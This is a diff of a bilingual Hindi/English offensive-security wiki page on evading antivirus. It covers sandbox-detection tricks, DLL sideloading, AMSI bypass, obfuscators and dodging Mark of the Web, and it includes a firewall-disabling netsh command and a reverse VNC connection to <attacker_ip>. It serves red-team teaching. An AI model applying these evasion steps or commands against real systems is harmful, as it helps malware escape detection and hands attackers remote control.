मैं अत्यधिक अनुशंसा करता हूँ कि आप इस [YouTube प्लेलिस्ट](https://www.youtube.com/playlist?list=PLj05gPj8rk\_pkb12mDe4PgYZ5qPxhGKGf) को व्यावहारिक AV बचाव के बारे में देखें।
|
||||
I highly recommend you check out this [YouTube playlist](https://www.youtube.com/playlist?list=PLj05gPj8rk\_pkb12mDe4PgYZ5qPxhGKGf) about practical AV Evasion.
|
||||
|
||||
### **गतिशील विश्लेषण**
|
||||
### **Dynamic analysis**
|
||||
|
||||
गतिशील विश्लेषण तब होता है जब AV आपके बाइनरी को एक सैंडबॉक्स में चलाता है और दुर्भावनापूर्ण गतिविधियों पर नज़र रखता है (जैसे आपके ब्राउज़र के पासवर्ड को डिक्रिप्ट और पढ़ने की कोशिश करना, LSASS पर मिनीडंप करना, आदि)। इस भाग के साथ काम करना थोड़ा कठिन हो सकता है, लेकिन यहाँ कुछ चीजें हैं जो आप सैंडबॉक्स से बचने के लिए कर सकते हैं।
|
||||
Dynamic analysis is when the AV runs your binary in a sandbox and watches for malicious activity (e.g. trying to decrypt and read your browser's passwords, performing a minidump on LSASS, etc.). This part can be a bit trickier to work with, but here are some things you can do to evade sandboxes.
|
||||
|
||||
* **कार्यवाही से पहले सोना** यह इस पर निर्भर करता है कि इसे कैसे लागू किया गया है, यह AV के गतिशील विश्लेषण को बायपास करने का एक शानदार तरीका हो सकता है। AV के पास फ़ाइलों को स्कैन करने के लिए बहुत कम समय होता है ताकि उपयोगकर्ता के कार्यप्रवाह में बाधा न आए, इसलिए लंबे समय तक सोने का उपयोग बाइनरी के विश्लेषण को बाधित कर सकता है। समस्या यह है कि कई AV के सैंडबॉक्स सोने को छोड़ सकते हैं, यह इस पर निर्भर करता है कि इसे कैसे लागू किया गया है।
|
||||
* **मशीन के संसाधनों की जांच करना** आमतौर पर सैंडबॉक्स के पास काम करने के लिए बहुत कम संसाधन होते हैं (जैसे < 2GB RAM), अन्यथा वे उपयोगकर्ता की मशीन को धीमा कर सकते हैं। आप यहाँ बहुत रचनात्मक भी हो सकते हैं, उदाहरण के लिए CPU के तापमान या यहां तक कि फैन स्पीड की जांच करके, सब कुछ सैंडबॉक्स में लागू नहीं होगा।
|
||||
* **मशीन-विशिष्ट जांच** यदि आप उस उपयोगकर्ता को लक्षित करना चाहते हैं जिसकी कार्यस्थल "contoso.local" डोमेन से जुड़ी है, तो आप कंप्यूटर के डोमेन पर जांच कर सकते हैं कि क्या यह आपके द्वारा निर्दिष्ट डोमेन से मेल खाता है, यदि नहीं, तो आप अपने प्रोग्राम को बाहर निकलने के लिए बना सकते हैं।
|
||||
* **Sleep before execution** Depending on how it's implemented, it can be a great way of bypassing AV's dynamic analysis. AV's have a very short time to scan files to not interrupt the user's workflow, so using long sleeps can disturb the analysis of binaries. The problem is that many AV's sandboxes can just skip the sleep depending on how it's implemented.
|
||||
* **Checking machine's resources** Usually Sandboxes have very little resources to work with (e.g. < 2GB RAM), otherwise they could slow down the user's machine. You can also get very creative here, for example by checking the CPU's temperature or even the fan speeds, not everything will be implemented in the sandbox.
|
||||
* **Machine-specific checks** If you want to target a user who's workstation is joined to the "contoso.local" domain, you can do a check on the computer's domain to see if it matches the one you've specified, if it doesn't, you can make your program exit.
|
||||
|
||||
यह पता चला है कि Microsoft Defender का सैंडबॉक्स कंप्यूटर नाम HAL9TH है, इसलिए, आप अपने मैलवेयर में विस्फोट से पहले कंप्यूटर नाम की जांच कर सकते हैं, यदि नाम HAL9TH से मेल खाता है, तो इसका मतलब है कि आप Defender के सैंडबॉक्स के अंदर हैं, इसलिए आप अपने प्रोग्राम को बाहर निकलने के लिए बना सकते हैं।
|
||||
It turns out that Microsoft Defender's Sandbox computername is HAL9TH, so, you can check for the computer name in your malware before detonation, if the name matches HAL9TH, it means you're inside defender's sandbox, so you can make your program exit.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (209).png" alt=""><figcaption><p>स्रोत: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (209).png" alt=""><figcaption><p>source: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
|
||||
|
||||
[@mgeeky](https://twitter.com/mariuszbit) से सैंडबॉक्स के खिलाफ जाने के लिए कुछ अन्य बहुत अच्छे सुझाव
|
||||
Some other really good tips from [@mgeeky](https://twitter.com/mariuszbit) for going against Sandboxes
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev चैनल</p></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev channel</p></figcaption></figure>
|
||||
|
||||
जैसा कि हमने इस पोस्ट में पहले कहा, **सार्वजनिक उपकरण** अंततः **पकड़े जाएंगे**, इसलिए, आपको अपने आप से कुछ पूछना चाहिए:
|
||||
As we've said before in this post, **public tools** will eventually **get detected**, so, you should ask yourself something:
|
||||
|
||||
उदाहरण के लिए, यदि आप LSASS को डंप करना चाहते हैं, **क्या आपको वास्तव में mimikatz का उपयोग करने की आवश्यकता है**? या क्या आप एक अलग प्रोजेक्ट का उपयोग कर सकते हैं जो कम ज्ञात है और LSASS को भी डंप करता है।
|
||||
For example, if you want to dump LSASS, **क्या आपको वास्तव में mimikatz का उपयोग करने की आवश्यकता है**? या क्या आप एक अलग प्रोजेक्ट का उपयोग कर सकते हैं जो कम ज्ञात है और LSASS को भी डंप करता है।
|
||||
|
||||
सही उत्तर शायद बाद वाला है। mimikatz को एक उदाहरण के रूप में लेते हुए, यह शायद AVs और EDRs द्वारा सबसे अधिक फ्लैग किया गया मैलवेयर है, जबकि प्रोजेक्ट स्वयं सुपर कूल है, इसके साथ AVs को बायपास करने के लिए काम करना एक बुरा सपना है, इसलिए आप जो हासिल करने की कोशिश कर रहे हैं उसके लिए बस विकल्पों की तलाश करें।
|
||||
The right answer is probably the latter. Taking mimikatz as an example, it's probably one of, if not the most flagged piece of malware by AVs and EDRs, while the project itself is super cool, it's also a nightmare to work with it to get around AVs, so just look for alternatives for what you're trying to achieve.
|
||||
|
||||
{% hint style="info" %}
|
||||
जब आप अपने पैलोड को बचाव के लिए संशोधित करते हैं, तो सुनिश्चित करें कि **डिफेंडर में स्वचालित नमूना सबमिशन बंद करें**, और कृपया, गंभीरता से, **VIRUSTOTAL पर अपलोड न करें** यदि आपका लक्ष्य लंबे समय में बचाव प्राप्त करना है। यदि आप यह जांचना चाहते हैं कि क्या आपका पैलोड किसी विशेष AV द्वारा पकड़ा जाता है, तो इसे एक VM पर इंस्टॉल करें, स्वचालित नमूना सबमिशन बंद करने की कोशिश करें, और वहां परीक्षण करें जब तक कि आप परिणाम से संतुष्ट न हों।
|
||||
When modifying your payloads for evasion, make sure to **turn off automatic sample submission** in defender, and please, seriously, **DO NOT UPLOAD TO VIRUSTOTAL** if your goal is achieving evasion in the long run. If you want to check if your payload gets detected by a particular AV, install it on a VM, try to turn off the automatic sample submission, and test it there until you're satisfied with the result.
|
||||
{% endhint %}
|
||||
|
||||
## EXEs बनाम DLLs
|
||||
## EXEs vs DLLs
|
||||
|
||||
जब भी संभव हो, हमेशा **बचाव के लिए DLLs का उपयोग करने को प्राथमिकता दें**, मेरे अनुभव में, DLL फ़ाइलें आमतौर पर **बहुत कम पहचानी जाती हैं** और विश्लेषित की जाती हैं, इसलिए यह कुछ मामलों में पहचान से बचने के लिए उपयोग करने के लिए एक बहुत सरल चाल है (यदि आपके पैलोड में किसी तरह से DLL के रूप में चलने का तरीका है तो निश्चित रूप से)।
|
||||
Whenever it's possible, always **prioritize using DLLs for evasion**, in my experience, DLL files are usually **way less detected** and analyzed, so it's a very simple trick to use in order to avoid detection in some cases (if your payload has some way of running as a DLL of course).
|
||||
|
||||
जैसा कि हम इस छवि में देख सकते हैं, Havoc से एक DLL पैलोड का एंटीस्कैन.me में पहचान दर 4/26 है, जबकि EXE पैलोड की पहचान दर 7/26 है।
|
||||
As we can see in this image, a DLL Payload from Havoc has a detection rate of 4/26 in antiscan.me, while the EXE payload has a 7/26 detection rate.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1130).png" alt=""><figcaption><p>एक सामान्य Havoc EXE पैलोड बनाम एक सामान्य Havoc DLL की एंटीस्कैन.me तुलना</p></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1130).png" alt=""><figcaption><p>antiscan.me comparison of a normal Havoc EXE payload vs a normal Havoc DLL</p></figcaption></figure>
|
||||
|
||||
अब हम कुछ चालें दिखाएंगे जिन्हें आप DLL फ़ाइलों के साथ उपयोग कर सकते हैं ताकि अधिक चुपचाप काम कर सकें।
|
||||
Now we'll show some tricks you can use with DLL files to be much more stealthier.
|
||||
|
||||
## DLL साइडलोडिंग और प्रॉक्सींग
|
||||
## DLL Sideloading & Proxying
|
||||
|
||||
**DLL साइडलोडिंग** लोडर द्वारा उपयोग किए जाने वाले DLL खोज क्रम का लाभ उठाता है, जिसमें पीड़ित एप्लिकेशन और दुर्भावनापूर्ण पैलोड्स को एक साथ रखा जाता है।
|
||||
**DLL Sideloading** takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other.
|
||||
|
||||
आप [Siofra](https://github.com/Cybereason/siofra) और निम्नलिखित पॉवरशेल स्क्रिप्ट का उपयोग करके DLL साइडलोडिंग के प्रति संवेदनशील कार्यक्रमों की जांच कर सकते हैं:
|
||||
You can check for programs susceptible to DLL Sideloading using [Siofra](https://github.com/Cybereason/siofra) and the following powershell script:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```powershell
|
||||
|
@ -106,7 +106,7 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
|
|||
|
||||
बस एक दुर्भावनापूर्ण DLL को उस नाम के साथ रखने से जो एक प्रोग्राम लोड करने की अपेक्षा करता है, आपका पेलोड लोड नहीं होगा, क्योंकि प्रोग्राम उस DLL के अंदर कुछ विशिष्ट कार्यों की अपेक्षा करता है, इस समस्या को ठीक करने के लिए, हम एक और तकनीक का उपयोग करेंगे जिसे **DLL प्रॉक्सींग/फॉरवर्डिंग** कहा जाता है।
|
||||
|
||||
**DLL प्रॉक्सींग** प्रोग्राम द्वारा प्रॉक्सी (और दुर्भावनापूर्ण) DLL से मूल DLL को किए गए कॉल को अग्रेषित करता है, इस प्रकार प्रोग्राम की कार्यक्षमता को बनाए रखते हुए आपके पेलोड के निष्पादन को संभालने में सक्षम होता है।
|
||||
**DLL प्रॉक्सींग** प्रोग्राम द्वारा प्रॉक्सी (और दुर्भावनापूर्ण) DLL से मूल DLL को किए गए कॉल को आगे बढ़ाता है, इस प्रकार प्रोग्राम की कार्यक्षमता को बनाए रखते हुए आपके पेलोड के निष्पादन को संभालने में सक्षम होता है।
|
||||
|
||||
मैं [@flangvik](https://twitter.com/Flangvik/) से [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) प्रोजेक्ट का उपयोग करने जा रहा हूँ।
|
||||
|
||||
|
@ -135,12 +135,12 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
|
|||
|
||||
<figure><img src="../.gitbook/assets/dll_sideloading_demo.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
हमारा शेलकोड (जिसे [SGN](https://github.com/EgeBalci/sgn) के साथ एन्कोड किया गया है) और प्रॉक्सी DLL दोनों का [antiscan.me](https://antiscan.me) में 0/26 डिटेक्शन दर है! मैं इसे एक सफलता कहूंगा।
|
||||
हमारा शेलकोड (जिसे [SGN](https://github.com/EgeBalci/sgn) के साथ एन्कोड किया गया) और प्रॉक्सी DLL दोनों का [antiscan.me](https://antiscan.me) में 0/26 डिटेक्शन दर है! मैं इसे एक सफलता कहूंगा।
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (193).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% hint style="info" %}
|
||||
मैं **गंभीरता से अनुशंसा** करता हूँ कि आप [S3cur3Th1sSh1t का ट्विच VOD](https://www.twitch.tv/videos/1644171543) DLL Sideloading के बारे में देखें और साथ ही [ippsec का वीडियो](https://www.youtube.com/watch?v=3eROsG\_WNpE) देखें ताकि आप जो हमने गहराई से चर्चा की है, उसके बारे में और अधिक जान सकें।
|
||||
मैं **गंभीरता से सुझाव देता हूँ** कि आप [S3cur3Th1sSh1t का ट्विच VOD](https://www.twitch.tv/videos/1644171543) DLL Sideloading के बारे में देखें और साथ ही [ippsec का वीडियो](https://www.youtube.com/watch?v=3eROsG\_WNpE) देखें ताकि आप जो हमने गहराई से चर्चा की है, उसके बारे में और अधिक जान सकें।
|
||||
{% endhint %}
|
||||
|
||||
## [**Freeze**](https://github.com/optiv/Freeze)
|
||||
|
@ -157,12 +157,12 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
|
|||
<figure><img src="../.gitbook/assets/freeze_demo_hacktricks.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% hint style="info" %}
|
||||
निष्क्रमण केवल एक बिल्ली और चूहा खेल है, जो आज काम करता है वह कल पता लगाया जा सकता है, इसलिए केवल एक उपकरण पर भरोसा न करें, यदि संभव हो, तो कई निष्क्रमण तकनीकों को जोड़ने की कोशिश करें।
|
||||
निष्क्रमण केवल एक बिल्ली और चूहा खेल है, जो आज काम करता है वह कल पता लगाया जा सकता है, इसलिए कभी भी केवल एक उपकरण पर भरोसा न करें, यदि संभव हो, तो कई निष्क्रमण तकनीकों को जोड़ने की कोशिश करें।
|
||||
{% endhint %}
|
||||
|
||||
## AMSI (एंटी-मैलवेयर स्कैन इंटरफेस)
|
||||
|
||||
AMSI "[फाइललेस मैलवेयर](https://en.wikipedia.org/wiki/Fileless\_malware)" को रोकने के लिए बनाया गया था। प्रारंभ में, AV केवल **डिस्क पर फ़ाइलों** को स्कैन करने में सक्षम थे, इसलिए यदि आप किसी तरह **सीधे मेमोरी में** पेलोड निष्पादित कर सकते थे, तो AV इसे रोकने के लिए कुछ नहीं कर सकता था, क्योंकि इसके पास पर्याप्त दृश्यता नहीं थी।
|
||||
AMSI "[फाइललेस मैलवेयर](https://en.wikipedia.org/wiki/Fileless\_malware)" को रोकने के लिए बनाया गया था। प्रारंभ में, AV केवल **डिस्क पर फ़ाइलों** को स्कैन करने में सक्षम थे, इसलिए यदि आप किसी तरह **प्रत्यक्ष रूप से मेमोरी में** पेलोड निष्पादित कर सकते थे, तो AV इसे रोकने के लिए कुछ नहीं कर सकता था, क्योंकि इसके पास पर्याप्त दृश्यता नहीं थी।
|
||||
|
||||
AMSI सुविधा Windows के इन घटकों में एकीकृत है।
|
||||
|
||||
|
@ -188,7 +188,7 @@ AMSI को बायपास करने के कुछ तरीके ह
|
|||
|
||||
चूंकि AMSI मुख्य रूप से स्थिर पहचान के साथ काम करता है, इसलिए, आप जो स्क्रिप्ट लोड करने की कोशिश कर रहे हैं, उन्हें संशोधित करना पहचान से बचने का एक अच्छा तरीका हो सकता है।
|
||||
|
||||
हालांकि, AMSI के पास स्क्रिप्ट को अस्पष्ट करने की क्षमता है, भले ही इसमें कई परतें हों, इसलिए अस्पष्टता एक बुरा विकल्प हो सकता है, यह इस बात पर निर्भर करता है कि इसे कैसे किया गया है। यह इसे बायपास करना इतना सीधा नहीं बनाता। हालांकि, कभी-कभी, आपको केवल कुछ चर नाम बदलने की आवश्यकता होती है और आप ठीक हो जाएंगे, इसलिए यह इस बात पर निर्भर करता है कि कुछ कितना फ्लैग किया गया है।
|
||||
हालांकि, AMSI के पास स्क्रिप्ट को अस्पष्ट करने की क्षमता है, भले ही इसमें कई परतें हों, इसलिए अस्पष्टता एक बुरा विकल्प हो सकता है, यह इस बात पर निर्भर करता है कि इसे कैसे किया गया है। यह इसे बायपास करना इतना सीधा नहीं बनाता। हालांकि, कभी-कभी, आपको केवल कुछ चर के नाम बदलने की आवश्यकता होती है और आप ठीक हो जाएंगे, इसलिए यह इस बात पर निर्भर करता है कि कुछ कितना झंडा उठाया गया है।
|
||||
|
||||
* **AMSI बायपास**
|
||||
|
||||
|
@ -204,7 +204,7 @@ AMSI प्रारंभिककरण को विफल (amsiInitFailed)
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
बस एक पंक्ति का पावरशेल कोड AMSI को वर्तमान पावरशेल प्रक्रिया के लिए अनुपयोगी बनाने के लिए आवश्यक था। इस पंक्ति को निश्चित रूप से AMSI द्वारा चिह्नित किया गया है, इसलिए इस तकनीक का उपयोग करने के लिए कुछ संशोधन की आवश्यकता है।
|
||||
यह सब एक पावरशेल कोड की एक पंक्ति थी जिसने वर्तमान पावरशेल प्रक्रिया के लिए AMSI को अनुपयोगी बना दिया। इस पंक्ति को निश्चित रूप से AMSI द्वारा चिह्नित किया गया है, इसलिए इस तकनीक का उपयोग करने के लिए कुछ संशोधन की आवश्यकता है।
|
||||
|
||||
यहां एक संशोधित AMSI बायपास है जो मैंने इस [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db) से लिया है।
|
||||
```powershell
|
||||
|
@ -240,13 +240,13 @@ AMSI को powershell के साथ बायपास करने के
|
|||
|
||||
* [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# अस्पष्टता उपकरण**
|
||||
* [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): इस परियोजना का उद्देश्य [LLVM](http://www.llvm.org/) संकलन सूट का एक ओपन-सोर्स फोर्क प्रदान करना है जो [कोड अस्पष्टता](http://en.wikipedia.org/wiki/Obfuscation\_\(software\)) और टेम्पर-प्रूफिंग के माध्यम से सॉफ़्टवेयर सुरक्षा बढ़ा सके।
|
||||
* [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator यह प्रदर्शित करता है कि `C++11/14` भाषा का उपयोग करके, संकलन के समय, बिना किसी बाहरी उपकरण का उपयोग किए और बिना संकलक को संशोधित किए, अस्पष्ट कोड कैसे उत्पन्न किया जाए।
|
||||
* [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator यह प्रदर्शित करता है कि `C++11/14` भाषा का उपयोग करके, संकलन के समय, बिना किसी बाहरी उपकरण का उपयोग किए और संकलक को संशोधित किए बिना, अस्पष्ट कोड कैसे उत्पन्न किया जाए।
|
||||
* [**obfy**](https://github.com/fritzone/obfy): C++ टेम्पलेट मेटाप्रोग्रामिंग ढांचे द्वारा उत्पन्न अस्पष्ट संचालन की एक परत जोड़ें जो एप्लिकेशन को क्रैक करने की कोशिश कर रहे व्यक्ति के लिए जीवन को थोड़ा कठिन बना देगी।
|
||||
* [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz एक x64 बाइनरी अस्पष्टता उपकरण है जो विभिन्न प्रकार की pe फ़ाइलों को अस्पष्ट करने में सक्षम है, जिसमें: .exe, .dll, .sys शामिल हैं।
|
||||
* [**metame**](https://github.com/a0rtega/metame): Metame एक साधारण मेटामॉर्फिक कोड इंजन है जो मनमाने निष्पादन योग्य के लिए है।
|
||||
* [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator एक बारीक-बारीक कोड अस्पष्टता ढांचा है जो ROP (रिटर्न-ओरिएंटेड प्रोग्रामिंग) का उपयोग करता है। ROPfuscator एक कार्यक्रम को असेंबली कोड स्तर पर अस्पष्ट करता है, सामान्य नियंत्रण प्रवाह की हमारी स्वाभाविक धारणा को विफल करता है।
|
||||
* [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt एक .NET PE क्रिप्टर है जो Nim में लिखा गया है।
|
||||
* [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor मौजूदा EXE/DLL को शेलकोड में परिवर्तित करने और फिर उन्हें लोड करने में सक्षम है।
|
||||
* [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz एक x64 बाइनरी अस्पष्टता उपकरण है जो विभिन्न प्रकार की pe फ़ाइलों को अस्पष्ट करने में सक्षम है जिसमें: .exe, .dll, .sys शामिल हैं
|
||||
* [**metame**](https://github.com/a0rtega/metame): Metame मनमाने निष्पादन योग्य के लिए एक सरल मेटामॉर्फिक कोड इंजन है।
|
||||
* [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator ROP (रिटर्न-ओरिएंटेड प्रोग्रामिंग) का उपयोग करके LLVM-समर्थित भाषाओं के लिए एक बारीक कोड अस्पष्टता ढांचा है। ROPfuscator एक कार्यक्रम को असेंबली कोड स्तर पर अस्पष्ट करता है, नियमित निर्देशों को ROP श्रृंखलाओं में परिवर्तित करके, हमारे सामान्य नियंत्रण प्रवाह की धारणा को विफल करता है।
|
||||
* [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt एक .NET PE क्रिप्टर है जो Nim में लिखा गया है
|
||||
* [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor मौजूदा EXE/DLL को शेलकोड में परिवर्तित करने और फिर उन्हें लोड करने में सक्षम है
|
||||
|
||||
## SmartScreen & MoTW
|
||||
|
||||
|
@ -256,14 +256,14 @@ Microsoft Defender SmartScreen एक सुरक्षा तंत्र ह
|
|||
|
||||
<figure><img src="../.gitbook/assets/image (664).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
SmartScreen मुख्य रूप से एक प्रतिष्ठा-आधारित दृष्टिकोण के साथ काम करता है, जिसका अर्थ है कि असामान्य रूप से डाउनलोड की गई अनुप्रयोग SmartScreen को सक्रिय करेगी, इस प्रकार अंतिम उपयोगकर्ता को फ़ाइल निष्पादित करने से रोक देगी (हालांकि फ़ाइल को अभी भी More Info -> Run anyway पर क्लिक करके निष्पादित किया जा सकता है)।
|
||||
SmartScreen मुख्य रूप से एक प्रतिष्ठा-आधारित दृष्टिकोण के साथ काम करता है, जिसका अर्थ है कि असामान्य रूप से डाउनलोड की गई अनुप्रयोग SmartScreen को ट्रिगर करेगी, इस प्रकार अंतिम उपयोगकर्ता को फ़ाइल निष्पादित करने से रोक देगी (हालांकि फ़ाइल को अभी भी More Info -> Run anyway पर क्लिक करके निष्पादित किया जा सकता है)।
|
||||
|
||||
**MoTW** (Mark of The Web) एक [NTFS Alternate Data Stream](https://en.wikipedia.org/wiki/NTFS#Alternate\_data\_stream\_\(ADS\)) है जिसका नाम Zone.Identifier है, जो इंटरनेट से फ़ाइलें डाउनलोड करते समय स्वचालित रूप से बनाया जाता है, साथ ही उस URL के साथ जिससे इसे डाउनलोड किया गया था।
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (237).png" alt=""><figcaption><p>इंटरनेट से डाउनलोड की गई फ़ाइल के लिए Zone.Identifier ADS की जांच करना।</p></figcaption></figure>
|
||||
|
||||
{% hint style="info" %}
|
||||
यह ध्यान रखना महत्वपूर्ण है कि **विश्वसनीय** साइनिंग सर्टिफिकेट के साथ साइन की गई निष्पादन योग्य फ़ाइलें **SmartScreen को सक्रिय नहीं करेंगी**।
|
||||
यह ध्यान रखना महत्वपूर्ण है कि **विश्वसनीय** साइनिंग सर्टिफिकेट के साथ साइन की गई निष्पादन योग्य फ़ाइलें **SmartScreen को ट्रिगर नहीं करेंगी**।
|
||||
{% endhint %}
|
||||
|
||||
आपके पेलोड को Mark of The Web से बचाने का एक बहुत प्रभावी तरीका उन्हें किसी प्रकार के कंटेनर जैसे ISO के अंदर पैकेज करना है। ऐसा इसलिए होता है क्योंकि Mark-of-the-Web (MOTW) **non NTFS** वॉल्यूम पर **लागू नहीं** किया जा सकता है।
|
||||
|
@ -314,7 +314,7 @@ C# बाइनरीज़ को मेमोरी में लोड कर
|
|||
|
||||
* **Inline**
|
||||
|
||||
यह अपने पोस्ट-एक्सप्लॉइटेशन दुर्भावनापूर्ण कोड को **अपने ही प्रक्रिया में इंजेक्ट करने** के बारे में है। इस तरह, आप एक नया प्रक्रिया बनाने और उसे AV द्वारा स्कैन कराए बिना बच सकते हैं, लेकिन हानि यह है कि यदि आपके पेलोड के निष्पादन में कुछ गलत हो जाता है, तो आपके **बीकन को खोने की संभावना** **बहुत अधिक है** क्योंकि यह क्रैश हो सकता है।
|
||||
यह अपने पोस्ट-एक्सप्लॉइटेशन दुर्भावनापूर्ण कोड को **अपने ही प्रक्रिया में इंजेक्ट करने** के बारे में है। इस तरह, आप एक नया प्रक्रिया बनाने और उसे AV द्वारा स्कैन कराए बिना बच सकते हैं, लेकिन हानि यह है कि यदि आपके पेलोड के निष्पादन में कुछ गलत होता है, तो आपके **बीकन को खोने की संभावना** **बहुत अधिक है** क्योंकि यह क्रैश हो सकता है।
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1136).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -326,15 +326,15 @@ C# बाइनरीज़ को मेमोरी में लोड कर
|
|||
|
||||
## अन्य प्रोग्रामिंग भाषाओं का उपयोग करना
|
||||
|
||||
जैसा कि [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins) में प्रस्तावित किया गया है, यह अन्य भाषाओं का उपयोग करके दुर्भावनापूर्ण कोड निष्पादित करना संभव है, जब समझौता की गई मशीन को **हमलावर द्वारा नियंत्रित SMB शेयर पर स्थापित इंटरप्रेटर वातावरण तक पहुंच** दी जाती है।
|
||||
जैसा कि [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins) में प्रस्तावित किया गया है, यह अन्य भाषाओं का उपयोग करके दुर्भावनापूर्ण कोड निष्पादित करना संभव है, जिससे समझौता की गई मशीन को **हमलावर द्वारा नियंत्रित SMB शेयर पर स्थापित इंटरप्रेटर वातावरण तक पहुंच** मिलती है।
|
||||
|
||||
इंटरप्रेटर बाइनरीज़ और SMB शेयर पर वातावरण तक पहुंच की अनुमति देकर आप **समझौता की गई मशीन की मेमोरी में इन भाषाओं में मनमाना कोड निष्पादित कर सकते हैं।**
|
||||
इंटरप्रेटर बाइनरीज़ और SMB शेयर पर वातावरण तक पहुंच प्रदान करके आप **समझौता की गई मशीन की मेमोरी में इन भाषाओं में मनमाना कोड निष्पादित कर सकते हैं।**
|
||||
|
||||
रेपो इंगित करता है: डिफेंडर अभी भी स्क्रिप्ट को स्कैन करता है लेकिन Go, Java, PHP आदि का उपयोग करके हमारे पास **स्थिर हस्ताक्षरों को बायपास करने के लिए अधिक लचीलापन है।** इन भाषाओं में यादृच्छिक अन-ऑबफस्केटेड रिवर्स शेल स्क्रिप्ट के साथ परीक्षण सफल साबित हुआ है।
|
||||
|
||||
## उन्नत बचाव
|
||||
|
||||
बचाव एक बहुत जटिल विषय है, कभी-कभी आपको केवल एक प्रणाली में कई विभिन्न टेलीमेट्री स्रोतों पर विचार करना पड़ता है, इसलिए परिपक्व वातावरण में पूरी तरह से अदृश्य रहना लगभग असंभव है।
|
||||
बचाव एक बहुत जटिल विषय है, कभी-कभी आपको एक ही प्रणाली में कई विभिन्न टेलीमेट्री स्रोतों पर विचार करना पड़ता है, इसलिए परिपक्व वातावरण में पूरी तरह से अदृश्य रहना लगभग असंभव है।
|
||||
|
||||
आप जिस भी वातावरण का सामना करेंगे, उसके अपने ताकत और कमजोरियाँ होंगी।
|
||||
|
||||
|
@ -350,7 +350,7 @@ C# बाइनरीज़ को मेमोरी में लोड कर
|
|||
|
||||
### **जांचें कि डिफेंडर किन भागों को दुर्भावनापूर्ण मानता है**
|
||||
|
||||
आप [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) का उपयोग कर सकते हैं जो **बाइनरी के भागों को हटा देगा** जब तक कि यह **नहीं पता चलता कि डिफेंडर** किस भाग को दुर्भावनापूर्ण मानता है और इसे आपके लिए विभाजित करता है।\
|
||||
आप [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) का उपयोग कर सकते हैं जो **बाइनरी के भागों को हटा देगा** जब तक कि यह **नहीं पता लगा लेता कि डिफेंडर** किस भाग को दुर्भावनापूर्ण मानता है और इसे आपके लिए विभाजित कर देगा।\
|
||||
एक और उपकरण जो **समान कार्य करता है वह है** [**avred**](https://github.com/dobin/avred) जिसमें [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/) पर सेवा प्रदान की जाती है।
|
||||
|
||||
### **Telnet सर्वर**
|
||||
|
@ -382,13 +382,13 @@ netsh advfirewall set allprofiles state off
|
|||
|
||||
#### **रिवर्स कनेक्शन**
|
||||
|
||||
**हमलावर** को अपने **होस्ट** के अंदर बाइनरी `vncviewer.exe -listen 5900` चलानी चाहिए ताकि यह रिवर्स **VNC कनेक्शन** को पकड़ने के लिए **तैयार** हो सके। फिर, **शिकार** के अंदर: winvnc डेमॉन शुरू करें `winvnc.exe -run` और चलाएँ `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
|
||||
**हमलावर** को अपने **होस्ट** के अंदर बाइनरी `vncviewer.exe -listen 5900` चलानी चाहिए ताकि यह रिवर्स **VNC कनेक्शन** को पकड़ने के लिए **तैयार** हो सके। फिर, **शिकार** के अंदर: winvnc डेमन शुरू करें `winvnc.exe -run` और चलाएँ `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
|
||||
|
||||
**चेतावनी:** छिपे रहने के लिए आपको कुछ चीजें नहीं करनी चाहिए
|
||||
|
||||
* यदि `winvnc` पहले से चल रहा है तो इसे शुरू न करें या आप [पॉपअप](https://i.imgur.com/1SROTTl.png) ट्रिगर करेंगे। जांचें कि यह चल रहा है `tasklist | findstr winvnc` के साथ
|
||||
